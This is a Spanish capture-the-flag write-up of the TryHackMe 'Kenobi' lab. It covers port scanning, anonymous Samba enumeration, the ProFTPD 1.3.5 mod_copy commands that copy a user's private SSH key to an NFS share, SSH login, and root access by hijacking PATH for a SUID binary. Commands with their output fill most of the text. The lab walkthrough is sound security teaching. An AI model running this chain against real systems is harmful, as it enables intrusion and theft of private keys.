Kenobi [TryHackMe]
2023-08-28
Introducción
La sala ¨Kenobi” está pensada como introducción de la serie “Offensive Pentesting”. Es la tercera máquina, y tiene una dificultad baja. El objetivo es vulnerar una máquina Linux para obtener acceso a un recurso compartido de Samba, manipular una versión vulnerable de proftpd para obtener acceso inicial y escalar privilegios a root a través de un binario SUID.
Task 1 - Desplegar la máquina
Paso 1:
- Escaneo la máquina desplegada para descubrir los servicios. Encuentro 7 puertos abiertos.
- El objetivo tiene servicios FTP, SSH, HTTP y SAMBA como posibles vectores de ataque.
# Escaneo inicial con salida a fichero
sudo nmap -sS --min-rate 5000 -p- -Pn -v -oN nmap_inicial 10.10.107.4
# Listo y filtro los puertos en nmap_inicial
ports=$(cat nmap_inicial | grep '^[0-9]' | cut -d '/' -f1 | xargs | tr ' ' ',')
# Escaneo final con los puertos guardados
nmap -p$ports -sC -sV -Pn -oN nmap_final 10.10.107.4
- Salida de shell para analizar:
# Resultado de escaneo
╰─ cat nmap_final | grep tcp ─╯
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
111/tcp open rpcbind 2-4 (RPC #100000)
| 100000 2,3,4 111/tcp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 58369/tcp6 mountd
| 100005 1,2,3 59881/tcp mountd
| 100021 1,3,4 40297/tcp6 nlockmgr
| 100021 1,3,4 44483/tcp nlockmgr
| 100227 2,3 2049/tcp nfs_acl
| 100227 2,3 2049/tcp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open nfs 2-4 (RPC #100003)
44483/tcp open nlockmgr 1-4 (RPC #100021)
49693/tcp open mountd 1-3 (RPC #100005)
50169/tcp open mountd 1-3 (RPC #100005)
59881/tcp open mountd 1-3 (RPC #100005)
Task 2 - Enumerando Samba
- Uso de nuevo nmap con un script específico para enumerar servicios SMB.
- Se encuentran 3 recursos compartidos, siendo “anonymous” uno de ellos, siendo una posible vía de acceso inicial.
- Se accede con smbclient y la cuenta anonymous, encontrando un fichero log con informacion sobre claves SSH y configuración de FTP.
- Escaneo puerto 111 para RPCbind con scripts de Network File Sharing usando nmap. Se encuentra un punto de montaje en “/var”.
Paso 1: Enumero SMB con NMAP
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.107.4
- Resultado para analizar
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.107.4\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (kenobi server (Samba, Ubuntu))
| Users: 2
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.107.4\anonymous:
| Type: STYPE_DISKTREE
| Comment:
| Users: 0
| Max Users: <unlimited>
| Path: C:\home\kenobi\share
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.107.4\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\printers
| Anonymous access: <none>
|_ Current user access: <none>
Nmap done: 1 IP address (1 host up) scanned in 6.49 seconds
Paso 2: Accedo con smbclient
# accedo con smbclient
smbclient //10.10.107.4/anonymous
# Reviso contenido
smb: \> ls
. D 0 Wed Sep 4 12:49:09 2019
.. D 0 Wed Sep 4 12:56:07 2019
log.txt N 12237 Wed Sep 4 12:49:09 2019
# Descargo fichero
smb: \> get log.txt
Paso 3: Escaneo de puerto RPC
# Escaneo con nmap del puerto 111
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.107.4
# Resultado
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-27 22:32 CEST
Nmap scan report for 10.10.107.4
Host is up (0.042s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-showmount:
|_ /var *
Task 3 - Acceso inicial con ProFTPD
-
La versión del servicio es 1.3.5
-
En Exploit-DB se encuentra 4 exploits para esa versión.
-
Se usa el exploit de **ProFTPD module
mod_copy
. -
El módulo mod_copy implementa los comandos SITE CPFR y SITE CPTO, que se pueden usar para copiar archivos/directorios de un lugar a otro en el servidor. Cualquier cliente no autenticado puede aprovechar estos comandos para copiar archivos desde cualquier parte del sistema de archivos a un destino elegido.
-
Me conecto con netcat y descargo la clave privada de Kenobi.
-
Monto el directorio compartido /var/tmp en mi equipo y descargo la clave privada ssh.
Paso 4: Conexión con Netcat
# Conexion al puerto 21 con Netcat
nc 10.10.107.4 21 ─╯
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.107.4]
# En nc, ejecuto el primer comando para copiar el fichero
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
# Ejecuto el segundo comando que lo pega en la unidad montada en /var
SITE CPTO /var/tmp/id_rsa
250 Copy successful
Paso 5: Acceso al directorio remoto
# Creo una carpeta en mi equipo
mkdir /mnt/kenobiNFS
# Monto el directorio compartido en mi equipo
mount 10.10.107.4:/var /mnt/kenobiNFS
# Listo el directorio para comprobarlo
ls -la /mnt/kenobiNFS
total 56
drwxr-xr-x 14 root root 4096 sep 4 2019 .
drwxr-xr-x 3 root root 4096 ago 27 22:44 ..
drwxr-xr-x 2 root root 4096 sep 4 2019 backups
drwxr-xr-x 9 root root 4096 sep 4 2019 cache
drwxrwxrwt 2 root root 4096 sep 4 2019 crash
drwxr-xr-x 40 root root 4096 sep 4 2019 lib
drwxrwsr-x 2 root staff 4096 abr 12 2016 local
lrwxrwxrwx 1 root root 9 sep 4 2019 lock -> /run/lock
drwxrwxr-x 10 root tss 4096 sep 4 2019 log
drwxrwsr-x 2 root mail 4096 feb 27 2019 mail
drwxr-xr-x 2 root root 4096 feb 27 2019 opt
lrwxrwxrwx 1 root root 4 sep 4 2019 run -> /run
drwxr-xr-x 2 root root 4096 ene 30 2019 snap
drwxr-xr-x 5 root root 4096 sep 4 2019 spool
drwxrwxrwt 6 root root 4096 ago 27 22:40 tmp
drwxr-xr-x 3 root root 4096 sep 4 2019 www
Paso 6: Acceso SSH
# Me copio la clave privada que esta en /tmp
cp id_rsa ~/Descargas
# Le doy permisos
sudo chmod 660 id_rsa
# Me conecto con la clave privada por ssh
ssh -i id_rsa kenobi@10.10.107.4
# Obtengo la bandera que hay en el home de Kenobi
kenobi@kenobi:~$ cat user.txt
Task 4 - Privilege Escalation con la variable PATH
- Busco binarios con el bit SUID activado.
- Se encuentra el binario /usr/bin/menu que llama la atención sobre el resto.
- El binario tiene un menu con 3 opciones, cada una ejecuta un comando.
- Ejecutando strings sobre el binario se ve que comandos ejectua:
- curl -I localhost
- uname -r
- ifconfig
- Se modifica PATH para explotar el permiso de root que tienen los binarios del menu, haciendo una copia de /bin/sh en /tmp con el nombre curl, le asignamos todos los permisos y exportamos el directorio a la variable PATH.
# Crear copia de sh en /tmp
cd /tmp/
echo /bin/sh > curl
# Dar permisos
chmod 777 curl
# Exportar a variable PATH
export PATH=/tmp:$PATH
# Explotar uso de menu para obtener root
/usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# whoami
root
# id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
Conclusion
Con Kenobi acabamos el bloque introductorio de “Offensive Pentesting”. Es una sala muy sencilla, pero es divertida, sobretodo siendo temática de Star Wars. A partir de ahora se empezará a jugar con máquinas más complejas, por lo que la confianza ganada hasta aquí también considero que es importante subrayar.